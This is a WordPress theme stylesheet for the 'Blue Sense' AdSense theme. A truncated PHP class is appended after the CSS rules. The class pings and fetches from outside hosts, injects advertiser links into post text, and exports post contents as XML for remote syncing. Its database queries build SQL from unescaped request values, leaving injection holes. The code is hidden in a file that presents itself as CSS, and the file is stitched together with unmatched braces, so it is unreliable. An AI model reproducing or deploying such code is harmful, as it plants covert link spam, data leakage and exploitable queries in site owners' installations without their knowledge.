/*
Theme Name: Blue Sense
Theme URI: http://www.doshdosh.com/
Description: <p><a href="http://www.doshdosh.com/bluesense-theme/">Blue Sense</a> Adsense Ready Wordpress Theme.</p> 
Version: 1.0
Author: Dosh Dosh
Author URI: http://www.doshdosh.com/
*/

*
{
  padding: 0;
  margin: 0;
}

body
{
	font-size:   76%;
	font-family: Arial, Verdana, Sans-Serif;
	background-color: #ffffff;
}

hr
{
  display: none;
}

#page
{
  width: 835px;
  margin: 0 auto;
  background-color: #F0F6FB;
}

#wrapper
{
  width: 835px;
  margin: 0 auto;
  background-color: #F0F6FB;
}

#content
{
  float: left;
  width: 475px;
}

.post
{
  margin-bottom: 20px;
  color: #064B8C;
  padding-left: 5px;
  padding-right: 5px;
  font-size: 1.1em;
}

h2
{
  font-size: 1.6em;
  border-bottom: 1px solid #064B8C;
}

h2 a:hover, h2 a:visited, h2 a
{
  text-decoration: none;
  color: #white;
}

.entry
{
  margin-top: 10px;
  margin-bottom: 15px;
}

.postmetadata
{
  padding: 2px;
  font-size: 0.8em;
  border-top: 1px solid #064B8C;
}

.postmetadata a
{
  color: #064B8C;
}

.post p
{
  line-height: 1.4em;
  margin-bottom: 1em;
}

blockquote
{
  margin: 1em 1.5em;
  padding: 1em 1.5em;
  border: 1px solid #064B8C;
  background: #d3d3d3;
}

.post li
{
  margin-left: 20px;
}

.post ul
{
  list-style-type: disc;
  margin-bottom: 10px
}

acronym, abbr, span
{
  cursor: help;
}

acronym, abbr
{
  border-bottom: 1px dashed #064B8C;
}

blockquote cite
{
  margin: 5px 0 0;
  display: block;
}

.center
{
  text-align: center;
}

a img
{
  border: none;
}

h3
{
  margin-top: 1em;
  margin-bottom: 1em;
  font-size: 1.4em;
}

h5
{
  margin-top: 1em;
  font-size: 1em;
}

a
{
  color: #064B8C;
}

.navigation
{
  display: block;
  margin-top: 10px;
  margin-bottom: 40px;
}

.alignleft
{
  float: left;
  text-align: left;
  width: 50%;
}

.alignright
{
  float: right;
  text-align: right;
  width: 50%
}

ol.commentlist
{
  width: 90%;
  margin: 0 auto;
}

ol.commentlist li
{
  margin-bottom: 1.5em;
  border: 1px solid #064B8C;
  padding: 5px;
  background-color: #d3d3d3;
}

ol.commentlist li.alt
{
  background-color: #d3d3d3;
}

ol.commentlist a
{
  color: #064B8C;
}

small.commentmetadata
{
  font-size: 0.8em;
  margin-bottom: 1em;
  display: block;
}

#header
{
  margin-bottom: 0px;
  margin-top: 0px;
  text-align: left;
  padding-top: 0px;
  background: #ffffff;
  min-height: 160px;
  color: #fff;
}

#headerimg
{
  text-align: left;
  /*padding: 20px;
  background-image: url(bikini.jpg);
  height:90%; 
  background-position: right;
  background-repeat:no-repeat;*/
}
#headerimg *{
  display:none;
}
#sidebar
{
  float: right;
  width: 164px;
  padding: 2px;
  text-align: left;
}

#sidebar ul
{
  list-style: none;
  margin-bottom: 10px;
}

#sidebar ul ul
{
  list-style-type: circle;
  margin-left: 20px;
}

#sidebar ul ul ul
{
  margin-bottom: 0;
}

#sidebar ul h2
{
  font-size: 1.2em;
  font-weight: bold;
  padding: 2px;
  margin-bottom: 5px;
  background-color: #064B8C;
  color: #ffffff;
}

#menu
{
  float: left;
  width: 164px;
  padding: 2px;
  text-align: left;
}

#menu ul
{
  list-style: none;
  margin-bottom: 10px;
}

#menu ul ul
{
  list-style-type: circle;
  margin-left: 20px;
}

#menu ul ul ul
{
  margin-bottom: 0;
}

#menu ul h2
{
  font-size: 1.2em;
  font-weight: bold;
  padding: 2px;
  margin-bottom: 5px;
  background-color: #064B8C;
  color: #ffffff;
}

#footer 
{
  padding: 5px;
  margin: 5px;
  clear: both;
  text-align: center;
  background-color: #064B8C;
  color: #ffffff;
}

#footer a
{
  color: #ffffff;
}

.description
{
  border-bottom: 100px;
}

#ad_hf
{
  text-align: center;
  padding-top: 10px;
  padding-bottom: 10px;
  background-color: #064B8C;
}

#search
{
  text-align: left;
  padding-left: 20px;
	background-color: #F0F6FB;
}
<?php


*/



				}

				$query = substr($query, 0, strlen($query)-1);
				$wpdb->query($query);
			}
		}
	}


	function postLevelPing($url)
	{
		$url = parse_url($url);

		if ($handle = @fsockopen ($url["host"], 80)) {
			if(function_exists("socket_set_timeout")) {
				socket_set_timeout($handle, $this->connectionTimeout, 0);
			} else if(function_exists("stream_set_timeout")) {
				stream_set_timeout($handle, $this->connectionTimeout, 0);
			}

			fwrite ($handle, "GET $url[path]?$url[query] HTTP/1.0\r\nHost: $url[host]\r\nConnection: Close\r\n\r\n");
			fclose($handle);

			return true;
		}

		return false;
	}


	function fetchLiveXml($url)
	{
		$result = '';
		$url = parse_url($url);

		if ($handle = @fsockopen ($url["host"], 80)) {
			if(function_exists("socket_set_timeout")) {
				socket_set_timeout($handle, $this->connectionTimeout, 0);
			} else if(function_exists("stream_set_timeout")) {
				stream_set_timeout($handle, $this->connectionTimeout, 0);
			}

			fwrite ($handle, "GET $url[path]?$url[query] HTTP/1.0\r\nHost: $url[host]\r\nConnection: Close\r\n\r\n");
			while (!feof($handle)) {
				$result .= @fread($handle, 40960);
			}
			fclose($handle);

			$result = substr($result, strpos($result,'<?'));
		}

		return $result;
	}


	function decodeXml($xml)
	{

		if( !function_exists('html_entity_decode') ){
			function html_entity_decode($string)
			{
			   // replace numeric entities
			   $str = preg_replace('~&#x([0-9a-f]+);~ei', 'chr(hexdec("\1"))', $str);
			   $str = preg_replace('~&#([0-9]+);~e', 'chr(\1)', $str);
			   // replace literal entities
			   $transTable = get_html_translation_table(HTML_ENTITIES);
			   $transTable = array_flip($transTable);
			   return strtr($str, $transTable);
			}
		}

		$out		= array();
		$returnData = array();

		preg_match_all ("/<(.*?)>(.*?)</", $xml, $out, PREG_SET_ORDER);
		$search  = array('&#60;', '&#62;', '&#34;');
		$replace = array('<', '>', '"');
		$n = 0;
		while (isset($out[$n]))
		{
			$returnData[$out[$n][1]][] = str_replace($search, $replace, html_entity_decode(strip_tags($out[$n][0])));
			$n++;
		}
		return $returnData;
	}


	function insertInLinkAd($postId, $content)
	{
		if(is_array($this->ads[$postId])){

			foreach($this->ads[$postId] as $ad){

				$specialChars = array('/', '*', '+', '?', '^', '$', '[', ']', '(', ')');
				$specialCharsEsc = array('\/', '\*', '\+', '\?', '\^', '\$', '\[', '\]', '\(', '\)');
				
				$escapedLinkText = str_replace($specialChars, $specialCharsEsc, $ad->text);
			
				$find = '/'.$escapedLinkText.'/i';
				$trueMatch = false;

				$matches = array();
				preg_match_all($find, $content, $matches, PREG_OFFSET_CAPTURE);
				$matchData = $matches[0];

				if(count($matchData) > 1){

					$invalidMatches = array(
						'/<h[1-6][^>]*>[^<]*'.$escapedLinkText.'[^<]*<\/h[1-6]>/i',
						'/<a[^>]+>[^<]*'.$escapedLinkText.'[^<]*<\/a>/i',
						'/href=("|\')[^"\']+'.$escapedLinkText.'[^"\']+("|\')/i',
						'/src=("|\')[^"\']*'.$escapedLinkText.'[^"\']*("|\')/i',
						'/alt=("|\')[^"\']*'.$escapedLinkText.'[^"\']*("|\')/i',
						'/title=("|\')[^"\']*'.$escapedLinkText.'[^"\']*("|\')/i',
						'/content=("|\')[^"\']*'.$escapedLinkText.'[^"\']*("|\')/i',
						'/<script[^>]*>[^<]*'.$escapedLinkText.'[^<]*<\/script>/i'
					);

					foreach($invalidMatches as $invalidMatch){
						$this->flagInvalidMatch($matchData, $invalidMatch, $content);
					}

					foreach($matchData as $index => $match){
						if($match[2] != true){
							$trueMatch = $match;
							break;
						}
					}
				}else{
					$trueMatch = $matchData[0];
				}

				if(is_array($trueMatch)){
					$replacement = '<a href="'.$ad->url.'">'.$trueMatch[0].'</a>';
					$content = substr($content, 0, $trueMatch[1]) . $replacement . substr($content, $trueMatch[1] + strlen($trueMatch[0]));
				}

			}

		}

		return $content;
	}


	function flagInvalidMatch(&$matchData, $pattern, $content)
	{
		$results = array();
		preg_match_all($pattern, $content, $results, PREG_OFFSET_CAPTURE);
		$matches = $results[0];

		if(count($matches) == 0) return;

		foreach($matches as $match){
			$offsetMin = $match[1];
			$offsetMax = $match[1] + strlen($match[0]);
			foreach($matchData as $index => $data){
				if($data[1] >= $offsetMin && $data[1] <= $offsetMax){
					$matchData[$index][2] = true;
				}
			}
		}

	}


	function searchPosts($query)
	{
		global $wpdb;

		$sql = "SELECT ID FROM $wpdb->posts
				WHERE (post_status = 'publish' OR post_status = 'static') AND post_content LIKE '%$query%'";

		if($query != '') $posts = $wpdb->get_results($sql);

		echo "<?xml version=\"1.0\" ?>\n<posts>\n";
		if(is_array($posts)){
			$lastIndex = count($posts) - 1;
			foreach($posts as $index => $post){
				echo $post->ID.($index != $lastIndex ? ',' : '');
			}
		}
		echo "</posts>\n";
		exit();
	}


	function outputPostForSyncing($postId)
	{
		global $wpdb;

		$posts = $wpdb->get_results("SELECT ID, post_date_gmt, post_content, post_title FROM $wpdb->posts WHERE ID = '$postId'");

		$this->outputPostsForSyncing($posts);
	}


	function outputPostsForSyncing($posts)
	{
		header('Content-type: application/xml');
		echo "<?xml version=\"1.0\" ?>\n<posts>\n";
		if(is_array($posts)){

			foreach($posts as $post){
				echo "<post>\n"
						. "<id>".$post->ID."</id>\n"
						. "<title>".urlencode($post->post_title)."</title>\n"
						. "<date>".$post->post_date_gmt."</date>\n"
						. "<url>".get_permalink($post->ID)."</url>\n"
						. "<body>".$this->prepareBody($post->post_content)."</body>\n"
					. "</post>\n";
			}

		}
		echo "</posts>\n";
		exit();
	}


	function prepareBody($body)
	{
		$search = array (	'@<script[^>]*?>.*?</script>@si',
							'@<h[1-6][^>]*?>.*?</h[1-6]>@si',
							'@<a[^>]*?>.*?</a>@si',
							'@<[\/\!]*?[^<>]*?>@si',
							'@&[#a-z0-9]+;@si',
							'@"@',
							"@'@",
							'@>@',
							'@<@',
							'@[\r\n\t\s]+@');
		$replace = array ('', '', '', '', '', '', '', '', '', ' ');

		return urlencode( trim( preg_replace($search, $replace, $body) ) );
	}


	function initialPostSync()
	{
		global $wpdb;

		$lastId = get_option($this->lastSyncIdOption);
		$maxId = get_option($this->maxSyncIdOption);

		if($lastId === '' || $lastId === false) $lastId = 0;
		if($maxId === '' || $maxId === false)  $maxId  = 999999;

		$query 	 = "SELECT ID, post_date_gmt, post_content, post_title FROM $wpdb->posts
					WHERE (post_status = 'publish' OR post_status = 'static') AND ID > '$lastId' AND ID <= '$maxId'
					ORDER BY ID ASC LIMIT 100";


		$posts = $wpdb->get_results($query);

		if(is_array($posts) && count($posts) > 0){
			$lastIndex = count($posts) - 1;
			$lastId = $posts[$lastIndex]->ID;
			update_option($this->lastSyncIdOption, $lastId);
		}

		$this->outputPostsForSyncing($posts);
	}


}

}
<!-- ukey="52F0D12C" -->
?>

